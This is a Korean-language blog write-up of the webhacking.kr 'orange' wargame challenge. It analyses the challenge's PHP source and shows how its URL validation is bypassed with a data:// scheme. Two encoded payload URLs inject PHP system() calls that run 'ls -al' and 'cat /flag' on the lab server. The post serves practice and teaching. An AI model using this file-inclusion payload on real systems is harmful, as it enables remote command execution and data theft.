webhacking.kr

[webhacking.kr] 🍊 orange 문제 풀이

화이트해커 Luna 🌙 2024. 12. 5. 02:31
728x90
반응형

🍊 orange 문제 풀이  

 

이 문제의 PHP 코드에는 외부 URL을 포함할 수 있는 기능이 있는데, 이 기능에 대한 유효성 검사가 애매해서 SSRF가 발생된다. 

 


PHP 코드 분석

<?php
  if($_GET['view_source']){ highlight_file(__FILE__); exit; }
  if($_GET['view_version']){ echo phpversion(); exit; }
  if($_GET['ls']){ system("ls -a"); exit; } 
  if(isset($_GET['url'])){
    $url = $_GET['url'].".txt";
    if(!filter_var($url, FILTER_VALIDATE_URL)) exit("invalid url");
    if(!preg_match("/http:\/\/webhacking.kr:10009\//",$url)) exit("invalid server");
    if(preg_match("/@|#|\(|\)|\\$|`|'|\"|_|{|}|\?/",$url)) exit("you are not orange");
    if((parse_url($url)['host'] !== "webhacking.kr") || (parse_url($url)['port'] !== 10009)) exit("invalid host or port");
    if(parse_url($url)['user'] || parse_url($url)['pass']) exit("you are not orange");
    include $url;
  }
  echo "<hr><a href=./?url=http://webhacking.kr:10009/cat>cat</a> <a href=./?url=http://webhacking.kr:10009/dog>dog</a> <hr><a href=./?view_source=1>view-source</a> <a href=./?view_version=1>view-version</a> <a href=./?ls=1>ls</a>";
?>

주요 기능

  • 소스 코드 보기: ?view_source=1 → PHP 소스 코드 출력
  • PHP 버전 보기: ?view_version=1 → PHP 버전 출력
  • 디렉토리 목록 보기: ?ls=1 → ls -a 명령어 실행
  • 파일 포함: ?url= → .txt 확장자 파일을 URL로 포함

 


 

취약점 분석 (파일 포함 기능)

 

문제의 파일포함부분 코드는 이거다. 

if(isset($_GET['url'])){
  $url = $_GET['url'].".txt";
  if(!filter_var($url, FILTER_VALIDATE_URL)) exit("invalid url");
  if(!preg_match("/http:\/\/webhacking.kr:10009\//",$url)) exit("invalid server");
  if(preg_match("/@|#|\(|\)|\\$|`|'|\"|_|{|}|\?/",$url)) exit("you are not orange");
  if((parse_url($url)['host'] !== "webhacking.kr") || (parse_url($url)['port'] !== 10009)) exit("invalid host or port");
  if(parse_url($url)['user'] || parse_url($url)['pass']) exit("you are not orange");
  include $url;
}

 

 

이게 왜 문제냐면은

  1. data:// 스킴 우회
    • filter_var()로 URL 형식은 검증하지만, 비표준 스킴(data://)은 걸러지지 않음.
  2. PHP 코드 실행 가능
    • data:// 스킴을 사용해 임의의 PHP 코드를 포함 및 실행

이렇게 해킹당할수가 있기 때문이다. 

 


 

익스플로잇

 

1. 디렉토리 목록 (ls -al)

http://webhacking.kr:10009/?url=data://webhacking.kr:10009/,http://webhacking.kr:10009/%3C%253fphp%2520system%2528%2527ls%2520-al%2527%2529%253f%3E

이 페이로드는 data:// 스킴을 이용해 http://webhacking.kr:10009/의 파일을 포함시키고, PHP 코드를 통해 ls -al 명령어를 실행한다. 

 

 

 

 

디렉토리 내 모든 파일과 폴더의 상세 정보가 줄줄이 나와버린다.

 

2. flag 파일 읽기 (cat /flag)

http://webhacking.kr:10009/?url=data://webhacking.kr:10009/,http://webhacking.kr:10009/%3C%253fphp%2520system%2528%2527cat%2520%252Fflag%2527%2529%253f%3E

 

 

flag가 잘도 나온다 .. 


문의는 댓글 남겨주세요

728x90
반응형

'webhacking.kr' 카테고리의 다른 글

Invisible_Dragon 풀이 (SQLInjection)  (1) 2025.03.26